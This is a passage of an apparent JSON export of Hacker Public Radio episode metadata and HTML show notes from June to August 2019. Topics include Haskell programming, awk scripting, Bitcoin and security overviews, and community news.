                                                              • Comment 2:\nBob on 2019-06-20:\n\"reply to Mike\"
                                                              • Comment 3:\nMike Ray on 2019-06-20:\n\"Accessibility and non-English character sets\"
                                                              • Comment 4:\nTony Hughes on 2019-06-21:\n\"Responce to Mike and Bob\"
                                                              • Comment 5:\nBob on 2019-06-23:\n\"I wasn't serious\"
                                                              • Comment 6:\nMike Ray on 2019-06-25:\n\"Accessibility\"
                                                              • Comment 7:\nTonyH1212 on 2019-06-29:\n\"Further responce to Mike and Bob\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2019-June/thread.html\n\n\n

                                                            Events Calendar

                                                            \n

                                                            With the kind permission of LWN.net we are linking to\nThe LWN.net Community Calendar.

                                                            \n

                                                            Quoting the site:

                                                            \n
                                                            This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.
                                                            \n\n

                                                            Any other business

                                                            \n

                                                            Issue with advanced RSS settings

                                                            \n

                                                            The page at https://www.hackerpublicradio.org/advanced_rss_settings.php describes a series of features that allow the specification of a tailored RSS feed.

                                                            \n

                                                            One of the features is 'gomax=1' which includes shows in the queue scheduled for the future. For example, the following URL requests 30 OGG format shows including those scheduled for the future:

                                                            \n
                                                            https://hackerpublicradio.org/rss.php?format=ogg&gomax=1&limit=30
                                                            \n

                                                            However, there is a problem with this, caused by the way we direct downloads to archive.org. We usually upload the next week’s shows to archive.org, but not all future shows as they arrive. This means that the links to some future shows returned by the feed point to currently non-existent episodes.

                                                            \n

                                                            This has been the case ever since we moved to using archive.org in this way, in late 2017. We have not received any comments or complaints about it in that time, so the question is:

                                                            \n
                                                            \n

                                                            Does anyone use 'gomax=1'?

                                                            \n
                                                            \n

                                                            Tags and Summaries

                                                            \n

                                                            Thanks to the following contributor for sending in updates in the past month: Tony Hughes

                                                            \n

                                                            Over the period tags and/or summaries have been added to 6 shows which were without them.

                                                            \n

                                                            If you would like to contribute to the tag/summary project visit the summary page at https://hackerpublicradio.org/report_missing_tags.php and follow the instructions there.

                                                            \n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":2847,"date":"2019-07-02","title":"earbuds","duration":902,"summary":"My trials with earbuds and custom setups","notes":"

                                                            operat0r discusses his trials with earbuds and custom setups.

                                                            ","hostid":36,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"earbuds,hacking,music,diy","version":0,"downloads":0,"valid":1}, {"id":2848,"date":"2019-07-03","title":"Random numbers in Haskell","duration":1957,"summary":"Tuula talks how to generate random numbers (and other values) in Haskell","notes":"

                                                            There’s lots of random and similar sounding words in this episode. I hope you can still follow what I’m trying to explain, but I’m aware that it might be hard.

                                                            \n

                                                            Haskell functions are pure, meaning that they will always produce same values for same set of arguments. This might sound hard when you want to generate random numbers, but it turns out that the solution isn’t too tricky.

                                                            \n

                                                            First part to the puzzle is type class RandomGen:

                                                            \n
                                                            class RandomGen g where\n    next :: g -> (Int, g)\n    genRange :: g -> (Int, Int)\n    split :: g -> (g, g)
                                                            \n

                                                            next produces tuple, where first element is random Int and second element is new random generator. genRange returns tuple defining minimum and maximum values this generator will return. split produces tuple with two new random generators.

                                                            \n

                                                            Using RandomGen to produce random values of specific type or for specific range requires a bit of arithmetic. It’s easier to use Random that defines functions for that specific task:

                                                            \n
                                                            class Random a where\n    randomR :: RandomGen g => (a, a) -> g -> (a, g)\n    random :: RandomGen g => g -> (a, g)\n    randomRs :: RandomGen g => (a, a) -> g -> [a]\n    randoms :: RandomGen g => g -> [a]\n    randomRIO :: (a, a) -> IO a\n    randomIO :: IO a
                                                            \n
                                                              \n
                                                            • randomR, when given range and random generator, produces tuple with random number and new generator
                                                            • \n
                                                            • random, is similar but doesn’t take range. Instead it will use minimum and maximum specific to that data type
                                                            • \n
                                                            • randomRs, takes range and produces infinite list of random values within that range
                                                            • \n
                                                            • randoms, simply produces infinite list of random values using range that is specific to datatype
                                                            • \n
                                                            • randomRIO and randomIO are effectful versions that don’t need random generator, but use some default one
                                                            • \n
                                                            \n

                                                            In short, RandomGen is source of randomness and Random is datatype specific way of generating random values using random generator RandomGen.

                                                            \n

                                                            Final part of the puzzle is where to get RandomGen? One could initialize one manually, but then it wouldn’t be random. However, there’s function getStdGen that will seed RandomGen using OS default random number generator, current time or some other method. Since it has signature of getStdGen :: IO StdGen, one can only call it in IO monad.

                                                            \n

                                                            Functions that operate with IO can only be called from other IO functions. They can call pure functions, but pure functions can’t call them. So there’s two options: have the code that needs random numbers in effectful function or get RandomGen in effectful function and pass it to pure function.

                                                            \n

                                                            Example

                                                            \n
                                                            import System.Random\nimport Data.List\n\n-- | get n unique entries from given list in random order\n-- | if n > length of list, all items of the list will be returned\ngetR :: RandomGen g => g -> Int -> [a] -> [a]\ngetR g n xs =\n    fmap (xs !!) ids\n    where\n        ids = take (min n $ length xs) $ nub $ randomRs (0, length xs - 1) g\n\n-- | Returns 4 unique numbers between 1 and 10 (inclusive)\ntest :: IO [Int]\ntest = do\n    g <- getStdGen\n    return $ getR g 4 [1..10]
                                                            \n

                                                            In closing

                                                            \n

                                                            Pseudo randomness doesn’t require IO, only seeding the generator does. Simple computation that don’t require many calls to random are easy enough. If you need lots of random values, MonadRandom is better suited. It takes care of carrying implicit RandomGen along while your computation progresses.

                                                            \n

                                                            Best way to catch me nowadays is either email or fediverse where I’m Tuula@mastodon.social

                                                            \n","hostid":364,"series":107,"explicit":0,"license":"CC-BY-SA","tags":"haskell, random numbers","version":0,"downloads":0,"valid":1}, {"id":2849,"date":"2019-07-04","title":"2018-2019 New Years Eve show part 5","duration":7759,"summary":"The HPR community comes together to say happy new year and chat","notes":"

                                                            Hacker Public Radio New Years Show episode 5

                                                            \n

                                                            Welcome to the 7th Annual Hacker Public Radio New Years Show. 2018-2019

                                                            \n\n\n\n","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"HPR new years show, new years, community","version":0,"downloads":0,"valid":1}, {"id":2850,"date":"2019-07-05","title":"NIST Cybersecurity Framework","duration":1702,"summary":"What NIST suggests as a framework to improve security at the Enterprise level","notes":"

                                                            The National Institute of Standards and Technology of the US Government issued the NIST Cybersecurity Framework, which has recommendations for private companies and mandates for U.S. Government agencies. For people who work in information security in an Enterprise environment, this framework may be of interest, so we will take a walk through it.

                                                            \n

                                                            Links:

                                                            \n","hostid":198,"series":74,"explicit":0,"license":"CC-BY-SA","tags":"Enterprise, Security","version":0,"downloads":0,"valid":1}, {"id":2851,"date":"2019-07-08","title":"An introduction to the work of fire fighters","duration":1847,"summary":"A small introduction into the work of fire fighters ","notes":"

                                                            Some general basic knowledge of fire fighting. Also an invitation to ask questions in the comments.

                                                            ","hostid":369,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"fire fighting, fire brigade","version":0,"downloads":0,"valid":1}, {"id":2852,"date":"2019-07-09","title":"Gnu Awk - Part 16","duration":2564,"summary":"Winding up the Gnu Awk series","notes":"

                                                            Introduction

                                                            \n

                                                            This is the sixteenth and final episode of the 'Learning Awk' series which is being produced by Mr. Young (BY) and Dave Morriss (DM).

                                                            \n

                                                            We are using this as an opportunity to have a round-table discussion about the series, about Awk, and where we recommend the listeners should go from here. Including this one we have produced 16 episodes covering the features most likely to be used in pipelines on the command line or in simple shell and awk scripts.

                                                            \n

                                                            Note that although the HPR site will list this episode as having a single host, in fact it has two! Plans are afoot to enhance the HPR database so we can eventually indicate this properly.

                                                            \n

                                                            Topics Discussed

                                                            \n
                                                              \n
                                                            • The series\n
                                                                \n
                                                              • Started in 2016 (first show released 2016-07-13)
                                                              • \n
                                                              • Finishing in 2019
                                                              • \n
                                                              • 16 episodes in total
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • Why are we finishing the series?\n
                                                                \n
                                                              • We have probably reached the limit of what is useful on the command line or in shell scripts or even in manageable-sized Awk scripts
                                                              • \n
                                                              • Awk shows its limitations as we go on and doesn’t compare well with more modern text processing languages
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • Our personal experiences with Awk\n
                                                                \n
                                                              • BY:\n
                                                                  \n
                                                                • Started with sed and awk when first moving to Linux in 2011
                                                                • \n
                                                                • (ongoing) Exploring and cleaning client data
                                                                • \n
                                                                • (ongoing) Personal scripts when adding python or other tool would be overkill
                                                                • \n
                                                              • \n
                                                              • DM:\n
                                                                  \n
                                                                • Working with VAX/VMS in the 1980’s. No very good text processing features built-in, so Gnu Awk (and sed) was a great way to handle the data we were using to generate accounts for new students each year. Could easily spot bad records, do some data validation (for example impossible dates of birth).
                                                                • \n
                                                                • Later in the late 1980’s and early 1990’s more Unix systems came on the scene running HP-UX, Ultrix, SunOS, Solaris, OSF/1, True64 Unix, and awk was very much used there.
                                                                • \n
                                                                • Later still we moved to Linux; initially Fedora but later RHEL, and of course awk figured in the list of tools there as well.
                                                                • \n
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • What have we left out? Why?\n
                                                                \n
                                                              • User-defined functions are pretty clunky and hard to use
                                                              • \n
                                                              • Multi-dimensional arrays: other languages do this better
                                                              • \n
                                                              • Internationalization: assumes you’re writing big awk programs
                                                              • \n
                                                              • The gawk debugger: quite clever but probably overkill for this series
                                                              • \n
                                                              • Extensions written in C and C++: some come with gawk and look quite good, but this subject is out of scope
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • What to use as an alternative to Awk?\n
                                                                \n
                                                              • DM moved from gawk to Perl (version 4) in the 1980’s and later to Perl version 5. This might have engendered an awky, Bashy mindset that’s hard to shake off. Not the recommended place to start these days.
                                                              • \n
                                                              • BY moved from gawk to Python and R for large projects. For interactive Bashy exploration, moved to XSV, q, and csv-kit for most use cases.
                                                              • \n
                                                              • These tools have built-in convenience features, like accounting for headers, data types, and file encodings
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • What’s next?\n
                                                                \n
                                                              • It is planned to turn the notes for this series into a combined document which will be available on the HPR site and on archive.org. There is no timescale for this at the moment
                                                              • \n
                                                            • \n
                                                            \n

                                                            Links

                                                            \n\n\n\n","hostid":225,"series":94,"explicit":1,"license":"CC-BY-SA","tags":"Gnu Awk, advanced features","version":0,"downloads":0,"valid":1}, {"id":2853,"date":"2019-07-10","title":"Feeding the beast","duration":424,"summary":"How the swedes are killing their hardcash and feeding the beast","notes":"

                                                            Links

                                                            \n","hostid":309,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"bankid, swish, cash, payment, digitalization, sweden","version":0,"downloads":0,"valid":1}, {"id":2854,"date":"2019-07-11","title":"Telling myself something In The Morning","duration":374,"summary":"There was a need for some software, so I wrote some","notes":"","hostid":243,"series":25,"explicit":0,"license":"CC-BY-SA","tags":"python, programming","version":0,"downloads":0,"valid":1}, {"id":2855,"date":"2019-07-12","title":"2018-2019 New Years Eve show part 6","duration":8486,"summary":"The HPR community comes together to say happy new year and chat","notes":"

                                                            Hacker Public Radio New Years Show episode 6

                                                            \n

                                                            Welcome to the 7th Annual Hacker Public Radio New Years Show. 2018-2019

                                                            \n","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"HPR new years show, new years, community","version":1,"downloads":0,"valid":1}, {"id":2856,"date":"2019-07-15","title":"Mint Mobile Security Rant","duration":1185,"summary":"Settle in for a Mint Mobile Security Rant ","notes":"

                                                            \nYou can also use call forwarding to forward calls to your google voice number. Mint does not seem to stay connected all the time.\n

                                                            ","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Mint Mobile,ANdroid,Phones,4G,VoIP,google voice","version":0,"downloads":0,"valid":1}, {"id":2857,"date":"2019-07-16","title":"Creating CounterParty Collectible Tokens for the Bitcorn Game","duration":995,"summary":"How to create Bitcorn collectibles: tokens issued on Bitcoin blockchain, used in Bitcorn Farms game","notes":"

                                                            Bitcorn is an idle farming game created with and played using Bitcoin tokens using the CounterParty protocol. I’ll walk you through how it all works, how to get started and what all that means.

                                                            \n

                                                            In this episode we’ll walk through the basics of creating and submitting a Bitcorn collectible card to be included in the game, along with setting up a wallet so you can buy and sell them.

                                                            \n","hostid":379,"series":110,"explicit":0,"license":"CC-BY-SA","tags":"bitcorn, bitcoin, collectibles","version":0,"downloads":0,"valid":1}, {"id":2858,"date":"2019-07-17","title":"Vehicle designer for a space game","duration":1404,"summary":"Tuula talks about modeling vehicle designer for their space game","notes":"

                                                            This episode is about modeling vehicle designer that can be used to design all kinds of vehicles available in the game. It relates to episode about performing research.

                                                            \n

                                                            Major parts

                                                            \n

                                                            Two major parts about vehicle designer are components and chassis.

                                                            \n

                                                            Components are modular pieces of vehicle that are assembled on chassis. They can, among other things, be things lie star sails, astrolabe navigators or long range sensor. Each component is defined by two values ComponentId and ComponentLevel. If you know these two values, you’ll be able to find out details of the component. ComponentId tells what component it is and ComponentLevel the general knowledge of it. When component is first discovered as a result of research, it’s just a prototype and as a such doesn’t function particularly well. Further research refines it and factories are able to produce higher quality components.

                                                            \n

                                                            Full definition of component is show below:

                                                            \n
                                                            data Component = Component\n    { componentId :: ComponentId\n    , componentLevel :: ComponentLevel\n    , componentName :: ComponentName\n    , componentDescription :: ComponentDescription\n    , componentWeight :: Weight\n    , componentSlot :: ComponentSlot\n    , componentType :: [ ComponentPower ]\n    , componentCost :: RawResources ResourceCost\n    , componentChassisType :: ChassisType\n    }\n    deriving (Show, Read, Eq, Ord)
                                                            \n

                                                            Two particularly interesting fields are componentSlot and componentType. componentSlot has type of ComponentSlot and defines what kind of slot the component occupies in chassis. As there are limited amount of slots in each chassis, designer needs to make compromises on what components to install. componentType has type of ComponentPower, which defines what component does in general. It could be sensor or provide supplies for the vehicle for example.

                                                            \n

                                                            Technology requirements are defined by function: componentRequirements :: ComponentId -> Maybe Technology. It defines which technology unlock a given component. Part of the definition is show below. Each and every ComponentId has to be handled.

                                                            \n
                                                            componentRequirements ShipLongRangeSensors = Just HighSensitivitySensors\ncomponentRequirements ShipBridge = Nothing\ncomponentRequirements VehicleWheeledMotiveSystem = Nothing\ncomponentRequirements VehicleHoverMotiveSystem = Just HoverCrafts\n...
                                                            \n

                                                            Second major part of the designer are chassis. They’re stored in database, as I wanted a bit more flexible system than hardcoding as I did with components. Following piece of configuration is used to define database table and generated data for Haskell code. Most of the fields are probably easy enough to guess. type with type of ChassisType defines if this particular chassis is for example a land vehicle or a space ship. Various slot fields on other hand define amount of particular slots that the chassis offers.

                                                            \n
                                                            Chassis json\n    name ChassisName\n    tonnage Weight\n    type ChassisType\n    technology Technology Maybe\n    armourSlots SlotAmount\n    innerSlots SlotAmount\n    outerSlots SlotAmount\n    sensorSlots SlotAmount\n    weaponSlots SlotAmount\n    engineSlots SlotAmount\n    motiveSlots SlotAmount\n    sailSlots SlotAmount\n    deriving Show Read Eq
                                                            \n

                                                            Not all chassis are equal and some (probably pretty much every one of them) have some sort of requirements that has to be fulfilled when designing a vehicle. For example, space ships require a bridge for captain and star sails. Bawley, smallest of the working ships has room for two star sails, but requires only one of them to be installed in order to be a valid design. Flyboat on the other hand is smaller ship built for speed and always requires two set of sails.

                                                            \n

                                                            This data is stored in required_component table and represented as RequiredComponent data. Both are generated from the definition show below:

                                                            \n
                                                            RequiredComponent json\n    chassisId ChassisId\n    componentType ComponentType\n    level ComponentLevel\n    amount ComponentAmount\n    deriving Show Read Eq
                                                            \n

                                                            Designing a vehicle

                                                            \n

                                                            With all that data, we can now design a vehicle. Process is roughly the following:

                                                            \n
                                                              \n
                                                            • based on completed research, get a list of chassis that are available
                                                            • \n
                                                            • select chassis from the list
                                                            • \n
                                                            • based on the selected chassis and completed research, get a list of components that are available
                                                            • \n
                                                            • select components to install
                                                            • \n
                                                            • remember to check that maximum tonnage isn’t exceeded and that there’s enough slots and requirements are met
                                                            • \n
                                                            • fill in name
                                                            • \n
                                                            • save into database
                                                            • \n
                                                            \n

                                                            Completed design is saved in two different tables. First one design holds info like name of the design, faction that design belongs to and used chassis. planned_component holds info about which components are planned to be installed and in what quantity.

                                                            \n
                                                            Design json\n    name Text\n    ownerId FactionId\n    chassisId ChassisId\n    deriving Show Read Eq
                                                            \n

                                                            and

                                                            \n
                                                            PlannedComponent json\n    designId DesignId\n    componentId ComponentId\n    level ComponentLevel\n    amount ComponentAmount\n    deriving Show Read Eq
                                                            \n

                                                            As a little teaser, below is an screenshot of what the vehicle designer currently looks like.

                                                            \n

                                                            \"Screenshot

                                                            \n

                                                            Finally

                                                            \n

                                                            Thanks for interest. If you have questions or comments, best way to reach me nowadays is either by email or in fediverse, where I’m Tuula@mastodon.social.

                                                            \n","hostid":364,"series":107,"explicit":0,"license":"CC-BY-SA","tags":"haskell","version":0,"downloads":0,"valid":1}, {"id":2859,"date":"2019-07-18","title":"2018-2019 New Years Eve show part 7","duration":10714,"summary":"The HPR community comes together to say happy new year and chat","notes":"

                                                            Hacker Public Radio New Years Show episode 7

                                                            \n

                                                            Welcome to the 7th Annual Hacker Public Radio New Years Show. 2018-2019

                                                            \n\n","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"HPR new years show, new years, community","version":0,"downloads":0,"valid":1}, {"id":2860,"date":"2019-07-19","title":"Encryption and Quantum Computing","duration":757,"summary":"How will quantum computing affect the security of encryption?","notes":"

                                                            The Quantum Computer is supposed to be a game changer that renders encryption useless. But is this true? We look at how quantum computing will affect encryption going forward, and show that we are already working on quantum-resistant encryption.

                                                            \n

                                                            Links:

                                                            \n","hostid":198,"series":74,"explicit":0,"license":"CC-BY-SA","tags":"Encryption, Quantum Computing","version":0,"downloads":0,"valid":1}, {"id":2861,"date":"2019-07-22","title":"Safety Razors","duration":870,"summary":"I go over some of my thoughts on Safety Razors Etc","notes":"

                                                            Links

                                                            \n\n","hostid":36,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"shaving,safety,razor,health,grooming","version":0,"downloads":0,"valid":1}, {"id":2862,"date":"2019-07-23","title":"Art vs. Commerce In Storytelling","duration":830,"summary":"Lostnbronx examines stories as both art and products.","notes":"

                                                            In this final episode of \"Random Elements of Storytelling\", Lostnbronx looks at the question of art vs. commerce.

                                                            \n

                                                            When is a story a product? When is it a work of passion? Can it be both? In a era of interactive storytelling, what is the difference between a story teller and an audience? And where do art, commerce, creativity, and consumption intersect?

                                                            \n

                                                            Lostnbronx wanders over hill and dale, and likely fails to adequately explain anything at all.

                                                            \n","hostid":107,"series":105,"explicit":0,"license":"CC-BY-SA","tags":"stories, storytelling, art, commerce, lostnbronx","version":0,"downloads":0,"valid":1}, {"id":2863,"date":"2019-07-24","title":"Simplified application architectures for improved security","duration":955,"summary":"A thought experiment in whether reducing runtime dependencies can improve security and how to do it.","notes":"

                                                            Before the days of the PC, application architectures were often very simple - being little more than the executable itself and any input files. The constraints of the early PC’s very limited resources required new architectures to make the most of those resources.

                                                            \n

                                                            We now have a situation where most applications either install, or require the presence of, multiple runtime dependencies. Each dependency has an interface which allows communication between itself and the application, but every interface presents an attack surface with the potential to be exploited by a malicious 3rd party.

                                                            \n

                                                            Modern computers do not have those same resource constraints yet we are still developing applications using the principles that applied 3 decades ago.

                                                            \n

                                                            Re-usable functionality can be internalised through static linking at compile-time or by code inclusion (along the lines of a .h file in C/C++)

                                                            \n

                                                            To change from using tried and tested methods is never convenient, but with concern for cyber security high and rising, has the time come to exchange convenience for simpler application architectures that should reduce vulnerabilities?

                                                            \n

                                                            …And may a move to new (or is it old) architectures deliver a big win for open source software?

                                                            \n","hostid":246,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Application development, Application architecture, Security","version":0,"downloads":0,"valid":1}, {"id":2864,"date":"2019-07-25","title":"One weird trick to add a --help option to your awk scripts","duration":1213,"summary":"Klaatu demonstrates two ways to add a --help message to your awk scripts","notes":"

                                                            \nThe first method is in Awk itself.\n

                                                            \n\n
                                                            \n#!/usr/bin/awk -f\n#\n# USAGE EXAMPLE:\n# echo the input of some var\n# $ foo -v var=8\n#\n\nBEGIN {\n    if (length(var) == 0) {\n        printf \"%s %s\\n\", ENVIRON[\"_\"], \"is a proof-of-concept help message\";\n        printf \"%s\\n\", \"Usage:\";\n        printf \"%s\\n\", \"------\";\n        printf \"%s %s %s\\n\", \"$\", ENVIRON[\"_\"], \"-v var=NUM\";\n        printf \"%s\\n\", \"substitute NUM with the number you want echoed\";\n        exit\n    }\n    else {\n        printf \"%s %s\\n\", \"You have entered \", var;\n    }\n}\n
                                                            \n\n

                                                            \nThe disadvantage to this is that it only provides a help message if no option is provided. If you actually type --help, then you get Awk's help message, which is not useful in this context.\n

                                                            \n\n

                                                            \nThe shell script wrapper method uses the shell to parse options, which are then passed to an embedded Awk script:\n

                                                            \n\n
                                                            \n#!/bin/sh\n\nif [ \"${1}\" = \"--help\" -o \"${1}\" = \"-h\" -o \"${1}\" = \"\" ]; then\n    echo \"This is a help message.\"\n    exit\nfi\n\n/usr/bin/awk -v var=\"${1}\" '\n\nBEGIN {\nprintf \"%s %s\\n\", \"You provided\", var;\n}'\n
                                                            \n

                                                            \n\n

                                                            \nThe disadvantage here is only that you're not just writing an Awk script, you're writing a shell script with embedded Awk. I can't think of a reason not to do it this way (even though in the script that served as the inspiration for this episode, I don't use this method).\n

                                                            \n\n","hostid":78,"series":94,"explicit":0,"license":"CC-BY-SA","tags":"awk,option,help,arg","version":0,"downloads":0,"valid":1}, {"id":2865,"date":"2019-07-26","title":"The YouTube channels I really like","duration":857,"summary":"Just some random thoughts on some random youtube channels","notes":"\n","hostid":369,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"apollo,agc,youtube","version":0,"downloads":0,"valid":1}, {"id":2866,"date":"2019-07-29","title":"Intro to Bitcoin for techies","duration":1915,"summary":"Survey of Bitcoin: blockchains, blocks, transactions, miners, PoW, hashing, addresses, wallets","notes":"

                                                            This is a broad introduction to Bitcoin from a technical perspective. We do not talk about finance or economics, and we don’t compare distributed ledger technologies. We’re not addressing exchanges, layer 2 technologies, mainstream adoption, etc.

                                                            \n

                                                            We’re also going to avoid going deep into forks, fungibility, mining or the math of Bitcoin.

                                                            \n

                                                            In this episode we introduce these fundamental Bitcoin topics:

                                                            \n
                                                              \n
                                                            • What is Bitcoin?
                                                            • \n
                                                            • Blockchains and blocks
                                                            • \n
                                                            • What are transactions?
                                                            • \n
                                                            • What are miners and what do they do?
                                                            • \n
                                                            • Proof of Work in Bitcoin - SHA256 hashing
                                                            • \n
                                                            • Bitcoin consensus mechanism
                                                            • \n
                                                            • How do wallets work?
                                                            • \n
                                                            • Brief discussion about various types of wallets and wallet security
                                                            • \n
                                                            \n

                                                            I hope this is accessible and informative and look forward to doing more in the future.

                                                            ","hostid":379,"series":110,"explicit":0,"license":"CC-BY-SA","tags":"bitcoin, blockchain, cryptocurrency","version":0,"downloads":0,"valid":1}, {"id":2867,"date":"2019-07-30","title":"The Kenwood TS940S Automatic Tuning Unit","duration":784,"summary":"I cover the Automatic Tuning unit on my Kenwood TS940S, re comment from HPR2668","notes":"

                                                            In this episode I let you hear the operation of my Kenwood TS940S automatic tuning unit. It had been a while since I’d last transmitted and I was a bit nervous that it might not even work – apparently it still does.

                                                            \n\n","hostid":201,"series":43,"explicit":1,"license":"CC-BY-SA","tags":"Amateur, Radio, Ham","version":0,"downloads":0,"valid":1}, {"id":2868,"date":"2019-07-31","title":"Custom data with Persistent","duration":1202,"summary":"Tuula explains how to serialize custom data with Persistent","notes":"

                                                            Podcast episode is about two things, serializing custom data with Persistent and IsString typeclass.

                                                            \n

                                                            I’m using Persistent in conjunction with Yesod (web framework). Process in short is that data is defined in /config/models file that is used in compile time to generate data type definitions for Haskell. Same information is used to create schema for the database when Yesod application starts. It can even do simple migrations if schema changes, but I wouldn’t recommend using that in production.

                                                            \n

                                                            Persistent maps information between database and program written in Haskell. There’s pre-existing mappings for things like text and various kinds of numbers. In case one wants to use custom data type, compiler can automatically generate needed mapping. This automatic generation works well with enumerations and very complex data.

                                                            \n

                                                            For example, following piece defines enumeration BuildingType that is mapped in varchar field in database. Enumeration is thus stored as text.

                                                            \n
                                                            data BuildingType = SensorStation\n    | ResearchComplex\n    | Farm\n    | ParticleAccelerator\n    | NeutronDetector\n    | BlackMatterScanner\n    | GravityWaveSensor\n    deriving (Show, Read, Eq)\n\nderivePersistField "BuildingType"
                                                            \n

                                                            For newtypes, automatic deriving works too, but generates (in my opinion) extra information that isn’t needed. This extra information causes data saved as text. For those cases, manual mapping can be used.

                                                            \n

                                                            Our example is for StarDate, which is just glorified Int. I’m using newtype to make StarDate distinct from any other Int, even when it behaves just like Int.

                                                            \n
                                                            newtype StarDate = StarDate { unStarDate :: Int }\n    deriving (Show, Read, Eq, Num, Ord)\n\ninstance PersistField StarDate where\n    toPersistValue (StarDate n) =\n        PersistInt64 $ fromIntegral n\n\n    fromPersistValue (PersistInt64 n) =\n        Right $ StarDate $ fromIntegral n\n\n    fromPersistValue _ =\n        Left "Failed to deserialize"\n\n\ninstance PersistFieldSql StarDate where\n    sqlType _ = SqlInt64
                                                            \n

                                                            One more trick, that doesn’t directly relate to Persistent is IsString type class. Instead of having to specify all the time what type text literal is, one can let compiler to deduce it from usage.

                                                            \n

                                                            For example, if I had a newtype like:

                                                            \n
                                                            newtype PlanetName = PlanetName { unPlanetName :: Text }
                                                            \n

                                                            I can turn on OverloadedStrings pragma and create IsString instance:

                                                            \n
                                                            instance IsString PlanetName where\n    fromString = PlanetName . fromString
                                                            \n

                                                            Now I can write: placeName = "Earth" instead of placeName = PlanetName "Earth" and compiler can deduce correct type based on how the placeName is used.

                                                            \n

                                                            Thanks for listening, if you have any questions or comments, you can reach me via email or in the fediverse, where I’m Tuula@mastodon.social.

                                                            \n","hostid":364,"series":107,"explicit":0,"license":"CC-BY-SA","tags":"haskell, persistent, database","version":0,"downloads":0,"valid":1}, {"id":2869,"date":"2019-08-01","title":"building a bike, following in John Kulp's footsteps","duration":694,"summary":"turning a couple of old bikes into a long wheel base recumbent","notes":"\n","hostid":326,"series":115,"explicit":0,"license":"CC-BY-SA","tags":"bicycle, recumbent, recycle","version":0,"downloads":0,"valid":1}, {"id":2870,"date":"2019-08-02","title":"Hierarchy of Evidence","duration":865,"summary":"All studies are not the same. Some are better than others.","notes":"

                                                            The idea of a Hierarchy of Evidence is that there is a ranking of studies of different kinds in terms of how persuasive they are. It is not enough to simply say that “A study shows…” without also looking at what kind of study it is how powerful the results are. We look at the different kinds of studies and rank them from top to bottom.

                                                            \n

                                                            Links

                                                            \n","hostid":198,"series":100,"explicit":0,"license":"CC-BY-SA","tags":"Health, Medicine, Evidence, Science, Studies","version":0,"downloads":0,"valid":1}, {"id":2871,"date":"2019-08-05","title":"HPR Community News for July 2019","duration":3794,"summary":"HPR Volunteers talk about shows released and comments posted in July 2019","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new host:
                                                            \n\n mightbemike.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            IdDayDateTitleHost
                                                            2846Mon2019-07-01HPR Community News for June 2019HPR Volunteers
                                                            2847Tue2019-07-02earbudsoperat0r
                                                            2848Wed2019-07-03Random numbers in HaskellTuula
                                                            2849Thu2019-07-04HPR NYE Show 2018-2019 part 5Honkeymagoo
                                                            2850Fri2019-07-05NIST Cybersecurity FrameworkAhuka
                                                            2851Mon2019-07-08An introduction to the work of fire fightersJeroen Baten
                                                            2852Tue2019-07-09Gnu Awk - Part 16Dave Morriss
                                                            2853Wed2019-07-10Feeding the beastfolky
                                                            2854Thu2019-07-11Telling myself something In The MorningJezra
                                                            2855Fri2019-07-12HPR NYE Show 2018-2019 part 6Honkeymagoo
                                                            2856Mon2019-07-15Mint Mobile Security Rantoperat0r
                                                            2857Tue2019-07-16Creating CounterParty Collectible Tokens for the Bitcorn Gamemightbemike
                                                            2858Wed2019-07-17Vehicle designer for a space gameTuula
                                                            2859Thu2019-07-18HPR NYE Show 2018-2019 part 7Honkeymagoo
                                                            2860Fri2019-07-19Encryption and Quantum ComputingAhuka
                                                            2861Mon2019-07-22Safety Razorsoperat0r
                                                            2862Tue2019-07-23Art vs. Commerce In Storytellinglostnbronx
                                                            2863Wed2019-07-24Simplified application architectures for improved securityBeeza
                                                            2864Thu2019-07-25One weird trick to add a --help option to your awk scriptsklaatu
                                                            2865Fri2019-07-26The YouTube channels I really likeJeroen Baten
                                                            2866Mon2019-07-29Intro to Bitcoin for techiesmightbemike
                                                            2867Tue2019-07-30The Kenwood TS940S Automatic Tuning UnitMrX
                                                            2868Wed2019-07-31Custom data with PersistentTuula
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 13 comments in total.

                                                            \n

                                                            Past shows

                                                            \n

                                                            There are 2 comments on\n2 previous shows:

